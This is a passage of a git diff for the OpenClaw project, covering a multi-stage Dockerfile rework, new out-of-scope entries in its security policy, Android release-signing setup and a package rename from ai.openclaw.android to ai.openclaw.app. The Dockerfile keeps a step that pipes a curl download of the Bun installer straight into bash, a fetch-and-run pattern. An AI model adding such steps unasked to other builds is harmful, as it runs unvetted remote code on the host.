org.opencontainers.image.documentation="https://docs.openclaw.ai/install/docker" \ - org.opencontainers.image.licenses="MIT" \ - org.opencontainers.image.title="OpenClaw" \ - org.opencontainers.image.description="OpenClaw gateway and CLI runtime container image" +# Base images are pinned to SHA256 digests for reproducible builds. +# Trade-off: digests must be updated manually when upstream tags move. +# To update, run: docker manifest inspect node:22-bookworm (or podman) +# and replace the digest below with the current amd64 entry. + +FROM node:22-bookworm@sha256:6d735b4d33660225271fda0a412802746658c3a1b975507b2803ed299609760a AS ext-deps +ARG OPENCLAW_EXTENSIONS +COPY extensions /tmp/extensions +# Copy package.json for opted-in extensions so pnpm resolves their deps. +RUN mkdir -p /out && \ + for ext in $OPENCLAW_EXTENSIONS; do \ + if [ -f "/tmp/extensions/$ext/package.json" ]; then \ + mkdir -p "/out/$ext" && \ + cp "/tmp/extensions/$ext/package.json" "/out/$ext/package.json"; \ + fi; \ + done + +# ── Stage 2: Build ────────────────────────────────────────────── +FROM node:22-bookworm@sha256:6d735b4d33660225271fda0a412802746658c3a1b975507b2803ed299609760a AS build # Install Bun (required for build scripts) RUN curl -fsSL https://bun.sh/install | bash @@ -20,8 +40,80 @@ ENV PATH="/root/.bun/bin:${PATH}" RUN corepack enable WORKDIR /app + +COPY package.json pnpm-lock.yaml pnpm-workspace.yaml .npmrc ./ +COPY ui/package.json ./ui/package.json +COPY patches ./patches +COPY scripts ./scripts + +COPY --from=ext-deps /out/ ./extensions/ + +# Reduce OOM risk on low-memory hosts during dependency installation. +# Docker builds on small VMs may otherwise fail with "Killed" (exit 137). +RUN NODE_OPTIONS=--max-old-space-size=2048 pnpm install --frozen-lockfile + +COPY . . + +# A2UI bundle may fail under QEMU cross-compilation (e.g. building amd64 +# on Apple Silicon). CI builds natively per-arch so this is a no-op there. +# Stub it so local cross-arch builds still succeed. +RUN pnpm canvas:a2ui:bundle || \ + (echo "A2UI bundle: creating stub (non-fatal)" && \ + mkdir -p src/canvas-host/a2ui && \ + echo "/* A2UI bundle unavailable in this build */" > src/canvas-host/a2ui/a2ui.bundle.js && \ + echo "stub" > src/canvas-host/a2ui/.bundle.hash && \ + rm -rf vendor/a2ui apps/shared/OpenClawKit/Tools/CanvasA2UI) +RUN pnpm build +# Force pnpm for UI build (Bun may fail on ARM/Synology architectures) +ENV OPENCLAW_PREFER_PNPM=1 +RUN pnpm ui:build + +# ── Runtime base images ───────────────────────────────────────── +FROM node:22-bookworm@sha256:6d735b4d33660225271fda0a412802746658c3a1b975507b2803ed299609760a AS base-default +LABEL org.opencontainers.image.base.name="docker.io/library/node:22-bookworm" \ + org.opencontainers.image.base.digest="sha256:6d735b4d33660225271fda0a412802746658c3a1b975507b2803ed299609760a" + +FROM node:22-bookworm-slim@sha256:b41c15b715b5d6e3f305e9c6480a2396dd5f130b63add98d3d45760376f20823 AS base-slim +LABEL org.opencontainers.image.base.name="docker.io/library/node:22-bookworm-slim" \ + org.opencontainers.image.base.digest="sha256:b41c15b715b5d6e3f305e9c6480a2396dd5f130b63add98d3d45760376f20823" + +# ── Stage 3: Runtime ──────────────────────────────────────────── +FROM base-${OPENCLAW_VARIANT} +ARG OPENCLAW_VARIANT + +# OCI base-image metadata for downstream image consumers. +# If you change these annotations, also update: +# - docs/install/docker.md ("Base image metadata" section) +# - https://docs.openclaw.ai/install/docker +LABEL org.opencontainers.image.source="https://github.com/openclaw/openclaw" \ + org.opencontainers.image.url="https://openclaw.ai" \ + org.opencontainers.image.documentation="https://docs.openclaw.ai/install/docker" \ + org.opencontainers.image.licenses="MIT" \ + org.opencontainers.image.title="OpenClaw" \ + org.opencontainers.image.description="OpenClaw gateway and CLI runtime container image" + +WORKDIR /app + +# Install system utilities present in bookworm but missing in bookworm-slim. +# On the full bookworm image these are already installed (apt-get is a no-op). +RUN apt-get update && \ + DEBIAN_FRONTEND=noninteractive apt-get install -y --no-install-recommends \ + procps hostname curl git openssl && \ + apt-get clean && \ + rm -rf /var/lib/apt/lists/* /var/cache/apt/archives/* + RUN chown node:node /app +COPY --from=build --chown=node:node /app/dist ./dist +COPY --from=build --chown=node:node /app/node_modules ./node_modules +COPY --from=build --chown=node:node /app/package.json . +COPY --from=build --chown=node:node /app/openclaw.mjs . +COPY --from=build --chown=node:node /app/extensions ./extensions +COPY --from=build --chown=node:node /app/skills ./skills +COPY --from=build --chown=node:node /app/docs ./docs + +# Install additional system packages needed by your skills or extensions. +# Example: docker build --build-arg OPENCLAW_DOCKER_APT_PACKAGES="python3 wget" . ARG OPENCLAW_DOCKER_APT_PACKAGES="" RUN if [ -n "$OPENCLAW_DOCKER_APT_PACKAGES" ]; then \ apt-get update && \ @@ -30,21 +122,10 @@ RUN if [ -n "$OPENCLAW_DOCKER_APT_PACKAGES" ]; then \ rm -rf /var/lib/apt/lists/* /var/cache/apt/archives/*; \ fi -COPY --chown=node:node package.json pnpm-lock.yaml pnpm-workspace.yaml .npmrc ./ -COPY --chown=node:node ui/package.json ./ui/package.json -COPY --chown=node:node patches ./patches -COPY --chown=node:node scripts ./scripts - -USER node -# Reduce OOM risk on low-memory hosts during dependency installation. -# Docker builds on small VMs may otherwise fail with "Killed" (exit 137). -RUN NODE_OPTIONS=--max-old-space-size=2048 pnpm install --frozen-lockfile - # Optionally install Chromium and Xvfb for browser automation. # Build with: docker build --build-arg OPENCLAW_INSTALL_BROWSER=1 ... # Adds ~300MB but eliminates the 60-90s Playwright install on every container start. -# Must run after pnpm install so playwright-core is available in node_modules. -USER root +# Must run after node_modules COPY so playwright-core is available. ARG OPENCLAW_INSTALL_BROWSER="" RUN if [ -n "$OPENCLAW_INSTALL_BROWSER" ]; then \ apt-get update && \ @@ -89,9 +170,7 @@ RUN if [ -n "$OPENCLAW_INSTALL_DOCKER_CLI" ]; then \ rm -rf /var/lib/apt/lists/* /var/cache/apt/archives/*; \ fi -USER node -COPY --chown=node:node . . -# Normalize copied plugin/agent paths so plugin safety checks do not reject +# Normalize extension paths so plugin safety checks do not reject # world-writable directories inherited from source file modes. RUN for dir in /app/extensions /app/.agent /app/.agents; do \ if [ -d "$dir" ]; then \ @@ -99,13 +178,8 @@ RUN for dir in /app/extensions /app/.agent /app/.agents; do \ find "$dir" -type f -exec chmod 644 {} +; \ fi; \ done -RUN pnpm build -# Force pnpm for UI build (Bun may fail on ARM/Synology architectures) -ENV OPENCLAW_PREFER_PNPM=1 -RUN pnpm ui:build # Expose the CLI binary without requiring npm global writes as non-root. -USER root RUN ln -sf /app/openclaw.mjs /usr/local/bin/openclaw \ && chmod 755 /app/openclaw.mjs diff --git a/SECURITY.md b/SECURITY.md index 78a18b606db..5f1e8f0cb9e 100644 --- a/SECURITY.md +++ b/SECURITY.md @@ -51,6 +51,7 @@ These are frequently reported but are typically closed with no code change: - Prompt-injection-only chains without a boundary bypass (prompt injection is out of scope). - Operator-intended local features (for example TUI local `!` shell) presented as remote injection. +- Reports that treat explicit operator-control surfaces (for example `canvas.eval`, browser evaluate/script execution, or direct `node.invoke` execution primitives) as vulnerabilities without demonstrating an auth/policy/sandbox boundary bypass. These capabilities are intentional when enabled and are trusted-operator features, not standalone security bugs. - Authorized user-triggered local actions presented as privilege escalation. Example: an allowlisted/owner sender running `/export-session /absolute/path.html` to write on the host. In this trust model, authorized user actions are trusted host actions unless you demonstrate an auth/sandbox/boundary bypass. - Reports that only show a malicious plugin executing privileged actions after a trusted operator installs/enables it. - Reports that assume per-user multi-tenant authorization on a shared gateway host/config. @@ -119,6 +120,7 @@ Plugins/extensions are part of OpenClaw's trusted computing base for a gateway. - Reports whose only claim is sandbox/workspace read expansion through trusted local skill/workspace symlink state (for example `skills/*/SKILL.md` symlink chains) unless a separate untrusted boundary bypass is shown that creates/controls that state. - Reports whose only claim is post-approval executable identity drift on a trusted host via same-path file replacement/rewrite unless a separate untrusted boundary bypass is shown for that host write primitive. - Reports where the only demonstrated impact is an already-authorized sender intentionally invoking a local-action command (for example `/export-session` writing to an absolute host path) without bypassing auth, sandbox, or another documented boundary +- Reports whose only claim is use of an explicit trusted-operator control surface (for example `canvas.eval`, browser evaluate/script execution, or direct `node.invoke` execution) without demonstrating an auth, policy, allowlist, approval, or sandbox bypass. - Reports where the only claim is that a trusted-installed/enabled plugin can execute with gateway/host privileges (documented trust model behavior). - Any report whose only claim is that an operator-enabled `dangerous*`/`dangerously*` config option weakens defaults (these are explicit break-glass tradeoffs by design) - Reports that depend on trusted operator-supplied configuration values to trigger availability impact (for example custom regex patterns). These may still be fixed as defense-in-depth hardening, but are not security-boundary bypasses. diff --git a/appcast.xml b/appcast.xml index 22e4df0b698..f1e626843dc 100644 --- a/appcast.xml +++ b/appcast.xml @@ -219,7 +219,7 @@

View full changelog

]]> - + 2026.3.1 @@ -357,7 +357,7 @@

View full changelog

]]> - +
- \ No newline at end of file + diff --git a/apps/android/app/build.gradle.kts b/apps/android/app/build.gradle.kts index 9f714a64304..d570a8cd9a3 100644 --- a/apps/android/app/build.gradle.kts +++ b/apps/android/app/build.gradle.kts @@ -1,5 +1,35 @@ import com.android.build.api.variant.impl.VariantOutputImpl +val androidStoreFile = providers.gradleProperty("OPENCLAW_ANDROID_STORE_FILE").orNull?.takeIf { it.isNotBlank() } +val androidStorePassword = providers.gradleProperty("OPENCLAW_ANDROID_STORE_PASSWORD").orNull?.takeIf { it.isNotBlank() } +val androidKeyAlias = providers.gradleProperty("OPENCLAW_ANDROID_KEY_ALIAS").orNull?.takeIf { it.isNotBlank() } +val androidKeyPassword = providers.gradleProperty("OPENCLAW_ANDROID_KEY_PASSWORD").orNull?.takeIf { it.isNotBlank() } +val resolvedAndroidStoreFile = + androidStoreFile?.let { storeFilePath -> + if (storeFilePath.startsWith("~/")) { + "${System.getProperty("user.home")}/${storeFilePath.removePrefix("~/")}" + } else { + storeFilePath + } + } + +val hasAndroidReleaseSigning = + listOf(resolvedAndroidStoreFile, androidStorePassword, androidKeyAlias, androidKeyPassword).all { it != null } + +val wantsAndroidReleaseBuild = + gradle.startParameter.taskNames.any { taskName -> + taskName.contains("Release", ignoreCase = true) || + Regex("""(^|:)(bundle|assemble)$""").containsMatchIn(taskName) + } + +if (wantsAndroidReleaseBuild && !hasAndroidReleaseSigning) { + error( + "Missing Android release signing properties. Set OPENCLAW_ANDROID_STORE_FILE, " + + "OPENCLAW_ANDROID_STORE_PASSWORD, OPENCLAW_ANDROID_KEY_ALIAS, and " + + "OPENCLAW_ANDROID_KEY_PASSWORD in ~/.gradle/gradle.properties.", + ) +} + plugins { id("com.android.application") id("org.jlleitschuh.gradle.ktlint") @@ -8,9 +38,21 @@ plugins { } android { - namespace = "ai.openclaw.android" + namespace = "ai.openclaw.app" compileSdk = 36 + // Release signing is local-only; keep the keystore path and passwords out of the repo. + signingConfigs { + if (hasAndroidReleaseSigning) { + create("release") { + storeFile = project.file(checkNotNull(resolvedAndroidStoreFile)) + storePassword = checkNotNull(androidStorePassword) + keyAlias = checkNotNull(androidKeyAlias) + keyPassword = checkNotNull(androidKeyPassword) + } + } + } + sourceSets { getByName("main") { assets.directories.add("../../shared/OpenClawKit/Sources/OpenClawKit/Resources") @@ -18,11 +60,11 @@ android { } defaultConfig { - applicationId = "ai.openclaw.android" + applicationId = "ai.openclaw.app" minSdk = 31 targetSdk = 36 - versionCode = 202603010 - versionName = "2026.3.2" + versionCode = 202603070 + versionName = "2026.3.7" ndk { // Support all major ABIs — native libs are tiny (~47 KB per ABI) abiFilters += listOf("armeabi-v7a", "arm64-v8a", "x86", "x86_64") @@ -31,6 +73,9 @@ android { buildTypes { release { + if (hasAndroidReleaseSigning) { + signingConfig = signingConfigs.getByName("release") + } isMinifyEnabled = true isShrinkResources = true proguardFiles(getDefaultProguardFile("proguard-android-optimize.txt"), "proguard-rules.pro") diff --git a/apps/android/app/proguard-rules.pro b/apps/android/app/proguard-rules.pro index d73c79711d6..78e4a363919 100644 --- a/apps/android/app/proguard-rules.pro +++ b/apps/android/app/proguard-rules.pro @@ -1,5 +1,5 @@ # ── App classes ─────────────────────────────────────────────────── --keep class ai.openclaw.android.** { *; } +-keep class ai.openclaw.app.** { *; } # ── Bouncy Castle ───────────────────────────────────────────────── -keep class org.bouncycastle.** { *; } diff --git a/apps/android/app/src/main/java/ai/openclaw/android/CameraHudState.kt b/apps/android/app/src/main/java/ai/openclaw/app/CameraHudState.kt similarity index 85% rename from apps/android/app/src/main/java/ai/openclaw/android/CameraHudState.kt rename to apps/android/app/src/main/java/ai/openclaw/app/CameraHudState.kt index 636c31bdd3c..cd0ace8b76d 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/CameraHudState.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/CameraHudState.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android +package ai.openclaw.app enum class CameraHudKind { Photo, diff --git a/apps/android/app/src/main/java/ai/openclaw/android/DeviceNames.kt b/apps/android/app/src/main/java/ai/openclaw/app/DeviceNames.kt similarity index 95% rename from apps/android/app/src/main/java/ai/openclaw/android/DeviceNames.kt rename to apps/android/app/src/main/java/ai/openclaw/app/DeviceNames.kt index 3c44a3bb4f7..7416ca9ed81 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/DeviceNames.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/DeviceNames.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android +package ai.openclaw.app import android.content.Context import android.os.Build diff --git a/apps/android/app/src/main/java/ai/openclaw/android/InstallResultReceiver.kt b/apps/android/app/src/main/java/ai/openclaw/app/InstallResultReceiver.kt similarity index 97% rename from apps/android/app/src/main/java/ai/openclaw/android/InstallResultReceiver.kt rename to apps/android/app/src/main/java/ai/openclaw/app/InstallResultReceiver.kt index ffb21258c1c..745ea11f96e 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/InstallResultReceiver.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/InstallResultReceiver.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android +package ai.openclaw.app import android.content.BroadcastReceiver import android.content.Context diff --git a/apps/android/app/src/main/java/ai/openclaw/android/LocationMode.kt b/apps/android/app/src/main/java/ai/openclaw/app/LocationMode.kt similarity index 92% rename from apps/android/app/src/main/java/ai/openclaw/android/LocationMode.kt rename to apps/android/app/src/main/java/ai/openclaw/app/LocationMode.kt index eb9c84428e0..b673ff27056 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/LocationMode.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/LocationMode.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android +package ai.openclaw.app enum class LocationMode(val rawValue: String) { Off("off"), diff --git a/apps/android/app/src/main/java/ai/openclaw/android/MainActivity.kt b/apps/android/app/src/main/java/ai/openclaw/app/MainActivity.kt similarity index 94% rename from apps/android/app/src/main/java/ai/openclaw/android/MainActivity.kt rename to apps/android/app/src/main/java/ai/openclaw/app/MainActivity.kt index b90427672c6..08cca4e4fcd 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/MainActivity.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/MainActivity.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android +package ai.openclaw.app import android.os.Bundle import android.view.WindowManager @@ -11,8 +11,8 @@ import androidx.compose.ui.Modifier import androidx.lifecycle.Lifecycle import androidx.lifecycle.lifecycleScope import androidx.lifecycle.repeatOnLifecycle -import ai.openclaw.android.ui.RootScreen -import ai.openclaw.android.ui.OpenClawTheme +import ai.openclaw.app.ui.RootScreen +import ai.openclaw.app.ui.OpenClawTheme import kotlinx.coroutines.launch class MainActivity : ComponentActivity() { diff --git a/apps/android/app/src/main/java/ai/openclaw/android/MainViewModel.kt b/apps/android/app/src/main/java/ai/openclaw/app/MainViewModel.kt similarity index 94% rename from apps/android/app/src/main/java/ai/openclaw/android/MainViewModel.kt rename to apps/android/app/src/main/java/ai/openclaw/app/MainViewModel.kt index 6d10da0f5fe..db79df9c17a 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/MainViewModel.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/MainViewModel.kt @@ -1,14 +1,14 @@ -package ai.openclaw.android +package ai.openclaw.app import android.app.Application import androidx.lifecycle.AndroidViewModel -import ai.openclaw.android.gateway.GatewayEndpoint -import ai.openclaw.android.chat.OutgoingAttachment -import ai.openclaw.android.node.CameraCaptureManager -import ai.openclaw.android.node.CanvasController -import ai.openclaw.android.node.ScreenRecordManager -import ai.openclaw.android.node.SmsManager -import ai.openclaw.android.voice.VoiceConversationEntry +import ai.openclaw.app.gateway.GatewayEndpoint +import ai.openclaw.app.chat.OutgoingAttachment +import ai.openclaw.app.node.CameraCaptureManager +import ai.openclaw.app.node.CanvasController +import ai.openclaw.app.node.ScreenRecordManager +import ai.openclaw.app.node.SmsManager +import ai.openclaw.app.voice.VoiceConversationEntry import kotlinx.coroutines.flow.StateFlow class MainViewModel(app: Application) : AndroidViewModel(app) { diff --git a/apps/android/app/src/main/java/ai/openclaw/android/NodeApp.kt b/apps/android/app/src/main/java/ai/openclaw/app/NodeApp.kt similarity index 95% rename from apps/android/app/src/main/java/ai/openclaw/android/NodeApp.kt rename to apps/android/app/src/main/java/ai/openclaw/app/NodeApp.kt index ab5e159cf47..0d172a8abe7 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/NodeApp.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/NodeApp.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android +package ai.openclaw.app import android.app.Application import android.os.StrictMode diff --git a/apps/android/app/src/main/java/ai/openclaw/android/NodeForegroundService.kt b/apps/android/app/src/main/java/ai/openclaw/app/NodeForegroundService.kt similarity index 98% rename from apps/android/app/src/main/java/ai/openclaw/android/NodeForegroundService.kt rename to apps/android/app/src/main/java/ai/openclaw/app/NodeForegroundService.kt index a6a79dc9c4a..684849b3e86 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/NodeForegroundService.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/NodeForegroundService.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android +package ai.openclaw.app import android.app.Notification import android.app.NotificationChannel @@ -163,7 +163,7 @@ class NodeForegroundService : Service() { private const val CHANNEL_ID = "connection" private const val NOTIFICATION_ID = 1 - private const val ACTION_STOP = "ai.openclaw.android.action.STOP" + private const val ACTION_STOP = "ai.openclaw.app.action.STOP" fun start(context: Context) { val intent = Intent(context, NodeForegroundService::class.java) diff --git a/apps/android/app/src/main/java/ai/openclaw/android/NodeRuntime.kt b/apps/android/app/src/main/java/ai/openclaw/app/NodeRuntime.kt similarity index 97% rename from apps/android/app/src/main/java/ai/openclaw/android/NodeRuntime.kt rename to apps/android/app/src/main/java/ai/openclaw/app/NodeRuntime.kt index bcd58a808b7..263a80fc076 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/NodeRuntime.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/NodeRuntime.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android +package ai.openclaw.app import android.Manifest import android.content.Context @@ -6,22 +6,22 @@ import android.content.pm.PackageManager import android.os.SystemClock import android.util.Log import androidx.core.content.ContextCompat -import ai.openclaw.android.chat.ChatController -import ai.openclaw.android.chat.ChatMessage -import ai.openclaw.android.chat.ChatPendingToolCall -import ai.openclaw.android.chat.ChatSessionEntry -import ai.openclaw.android.chat.OutgoingAttachment -import ai.openclaw.android.gateway.DeviceAuthStore -import ai.openclaw.android.gateway.DeviceIdentityStore -import ai.openclaw.android.gateway.GatewayDiscovery -import ai.openclaw.android.gateway.GatewayEndpoint -import ai.openclaw.android.gateway.GatewaySession -import ai.openclaw.android.gateway.probeGatewayTlsFingerprint -import ai.openclaw.android.node.* -import ai.openclaw.android.protocol.OpenClawCanvasA2UIAction -import ai.openclaw.android.voice.MicCaptureManager -import ai.openclaw.android.voice.TalkModeManager -import ai.openclaw.android.voice.VoiceConversationEntry +import ai.openclaw.app.chat.ChatController +import ai.openclaw.app.chat.ChatMessage +import ai.openclaw.app.chat.ChatPendingToolCall +import ai.openclaw.app.chat.ChatSessionEntry +import ai.openclaw.app.chat.OutgoingAttachment +import ai.openclaw.app.gateway.DeviceAuthStore +import ai.openclaw.app.gateway.DeviceIdentityStore +import ai.openclaw.app.gateway.GatewayDiscovery +import ai.openclaw.app.gateway.GatewayEndpoint +import ai.openclaw.app.gateway.GatewaySession +import ai.openclaw.app.gateway.probeGatewayTlsFingerprint +import ai.openclaw.app.node.* +import ai.openclaw.app.protocol.OpenClawCanvasA2UIAction +import ai.openclaw.app.voice.MicCaptureManager +import ai.openclaw.app.voice.TalkModeManager +import ai.openclaw.app.voice.VoiceConversationEntry import kotlinx.coroutines.CoroutineScope import kotlinx.coroutines.Dispatchers import kotlinx.coroutines.Job diff --git a/apps/android/app/src/main/java/ai/openclaw/android/PermissionRequester.kt b/apps/android/app/src/main/java/ai/openclaw/app/PermissionRequester.kt similarity index 99% rename from apps/android/app/src/main/java/ai/openclaw/android/PermissionRequester.kt rename to apps/android/app/src/main/java/ai/openclaw/app/PermissionRequester.kt index 0ee267b5588..3cc8919c52e 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/PermissionRequester.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/PermissionRequester.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android +package ai.openclaw.app import android.content.pm.PackageManager import android.content.Intent diff --git a/apps/android/app/src/main/java/ai/openclaw/android/ScreenCaptureRequester.kt b/apps/android/app/src/main/java/ai/openclaw/app/ScreenCaptureRequester.kt similarity index 98% rename from apps/android/app/src/main/java/ai/openclaw/android/ScreenCaptureRequester.kt rename to apps/android/app/src/main/java/ai/openclaw/app/ScreenCaptureRequester.kt index c215103b54d..77711f27ca7 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/ScreenCaptureRequester.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/ScreenCaptureRequester.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android +package ai.openclaw.app import android.app.Activity import android.content.Context diff --git a/apps/android/app/src/main/java/ai/openclaw/android/SecurePrefs.kt b/apps/android/app/src/main/java/ai/openclaw/app/SecurePrefs.kt similarity index 99% rename from apps/android/app/src/main/java/ai/openclaw/android/SecurePrefs.kt rename to apps/android/app/src/main/java/ai/openclaw/app/SecurePrefs.kt index a907fdf01d4..cc996cf65d8 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/SecurePrefs.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/SecurePrefs.kt @@ -1,6 +1,6 @@ @file:Suppress("DEPRECATION") -package ai.openclaw.android +package ai.openclaw.app import android.content.Context import android.content.SharedPreferences diff --git a/apps/android/app/src/main/java/ai/openclaw/android/SessionKey.kt b/apps/android/app/src/main/java/ai/openclaw/app/SessionKey.kt similarity index 92% rename from apps/android/app/src/main/java/ai/openclaw/android/SessionKey.kt rename to apps/android/app/src/main/java/ai/openclaw/app/SessionKey.kt index 8148a17029e..3719ec11bb9 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/SessionKey.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/SessionKey.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android +package ai.openclaw.app internal fun normalizeMainKey(raw: String?): String { val trimmed = raw?.trim() diff --git a/apps/android/app/src/main/java/ai/openclaw/android/VoiceWakeMode.kt b/apps/android/app/src/main/java/ai/openclaw/app/VoiceWakeMode.kt similarity index 91% rename from apps/android/app/src/main/java/ai/openclaw/android/VoiceWakeMode.kt rename to apps/android/app/src/main/java/ai/openclaw/app/VoiceWakeMode.kt index 75c2fe34468..ea236f3306c 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/VoiceWakeMode.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/VoiceWakeMode.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android +package ai.openclaw.app enum class VoiceWakeMode(val rawValue: String) { Off("off"), diff --git a/apps/android/app/src/main/java/ai/openclaw/android/WakeWords.kt b/apps/android/app/src/main/java/ai/openclaw/app/WakeWords.kt similarity index 95% rename from apps/android/app/src/main/java/ai/openclaw/android/WakeWords.kt rename to apps/android/app/src/main/java/ai/openclaw/app/WakeWords.kt index b64cb1dd749..7bd3ca13cde 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/WakeWords.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/WakeWords.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android +package ai.openclaw.app object WakeWords { const val maxWords: Int = 32 diff --git a/apps/android/app/src/main/java/ai/openclaw/android/chat/ChatController.kt b/apps/android/app/src/main/java/ai/openclaw/app/chat/ChatController.kt similarity index 99% rename from apps/android/app/src/main/java/ai/openclaw/android/chat/ChatController.kt rename to apps/android/app/src/main/java/ai/openclaw/app/chat/ChatController.kt index a8009f80400..be430480fb0 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/chat/ChatController.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/chat/ChatController.kt @@ -1,6 +1,6 @@ -package ai.openclaw.android.chat +package ai.openclaw.app.chat -import ai.openclaw.android.gateway.GatewaySession +import ai.openclaw.app.gateway.GatewaySession import java.util.UUID import java.util.concurrent.ConcurrentHashMap import kotlinx.coroutines.CoroutineScope diff --git a/apps/android/app/src/main/java/ai/openclaw/android/chat/ChatModels.kt b/apps/android/app/src/main/java/ai/openclaw/app/chat/ChatModels.kt similarity index 96% rename from apps/android/app/src/main/java/ai/openclaw/android/chat/ChatModels.kt rename to apps/android/app/src/main/java/ai/openclaw/app/chat/ChatModels.kt index dd17a8c1ae5..f6d08c535c5 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/chat/ChatModels.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/chat/ChatModels.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.chat +package ai.openclaw.app.chat data class ChatMessage( val id: String, diff --git a/apps/android/app/src/main/java/ai/openclaw/android/gateway/BonjourEscapes.kt b/apps/android/app/src/main/java/ai/openclaw/app/gateway/BonjourEscapes.kt similarity index 96% rename from apps/android/app/src/main/java/ai/openclaw/android/gateway/BonjourEscapes.kt rename to apps/android/app/src/main/java/ai/openclaw/app/gateway/BonjourEscapes.kt index 1606df79ec6..2fa0befbb5c 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/gateway/BonjourEscapes.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/gateway/BonjourEscapes.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.gateway +package ai.openclaw.app.gateway object BonjourEscapes { fun decode(input: String): String { diff --git a/apps/android/app/src/main/java/ai/openclaw/android/gateway/DeviceAuthPayload.kt b/apps/android/app/src/main/java/ai/openclaw/app/gateway/DeviceAuthPayload.kt similarity index 97% rename from apps/android/app/src/main/java/ai/openclaw/android/gateway/DeviceAuthPayload.kt rename to apps/android/app/src/main/java/ai/openclaw/app/gateway/DeviceAuthPayload.kt index 9fecaa03b55..f556341e10a 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/gateway/DeviceAuthPayload.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/gateway/DeviceAuthPayload.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.gateway +package ai.openclaw.app.gateway internal object DeviceAuthPayload { fun buildV3( diff --git a/apps/android/app/src/main/java/ai/openclaw/android/gateway/DeviceAuthStore.kt b/apps/android/app/src/main/java/ai/openclaw/app/gateway/DeviceAuthStore.kt similarity index 92% rename from apps/android/app/src/main/java/ai/openclaw/android/gateway/DeviceAuthStore.kt rename to apps/android/app/src/main/java/ai/openclaw/app/gateway/DeviceAuthStore.kt index 8ace62e087c..d1ac63a90ff 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/gateway/DeviceAuthStore.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/gateway/DeviceAuthStore.kt @@ -1,6 +1,6 @@ -package ai.openclaw.android.gateway +package ai.openclaw.app.gateway -import ai.openclaw.android.SecurePrefs +import ai.openclaw.app.SecurePrefs interface DeviceAuthTokenStore { fun loadToken(deviceId: String, role: String): String? diff --git a/apps/android/app/src/main/java/ai/openclaw/android/gateway/DeviceIdentityStore.kt b/apps/android/app/src/main/java/ai/openclaw/app/gateway/DeviceIdentityStore.kt similarity index 99% rename from apps/android/app/src/main/java/ai/openclaw/android/gateway/DeviceIdentityStore.kt rename to apps/android/app/src/main/java/ai/openclaw/app/gateway/DeviceIdentityStore.kt index 68830772f9a..1e226382031 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/gateway/DeviceIdentityStore.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/gateway/DeviceIdentityStore.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.gateway +package ai.openclaw.app.gateway import android.content.Context import android.util.Base64 diff --git a/apps/android/app/src/main/java/ai/openclaw/android/gateway/GatewayDiscovery.kt b/apps/android/app/src/main/java/ai/openclaw/app/gateway/GatewayDiscovery.kt similarity index 99% rename from apps/android/app/src/main/java/ai/openclaw/android/gateway/GatewayDiscovery.kt rename to apps/android/app/src/main/java/ai/openclaw/app/gateway/GatewayDiscovery.kt index 2ad8ec0cb19..f83af46cc65 100644 --- a/apps/android/app/src/main/java/ai/openclaw/android/gateway/GatewayDiscovery.kt +++ b/apps/android/app/src/main/java/ai/openclaw/app/gateway/GatewayDiscovery.kt @@ -1,4 +1,4 @@ -package ai.openclaw.android.gateway +package ai.openclaw.app.gateway import android.content.Context import android.net.ConnectivityManager diff --git a/apps/android/app/src/main/java/ai/openclaw/android/gateway/GatewayEndpoint.kt b/apps/android/app/src/main/java/ai/openclaw/app/gateway/GatewayEndpoint.kt similarity index 94% rename from 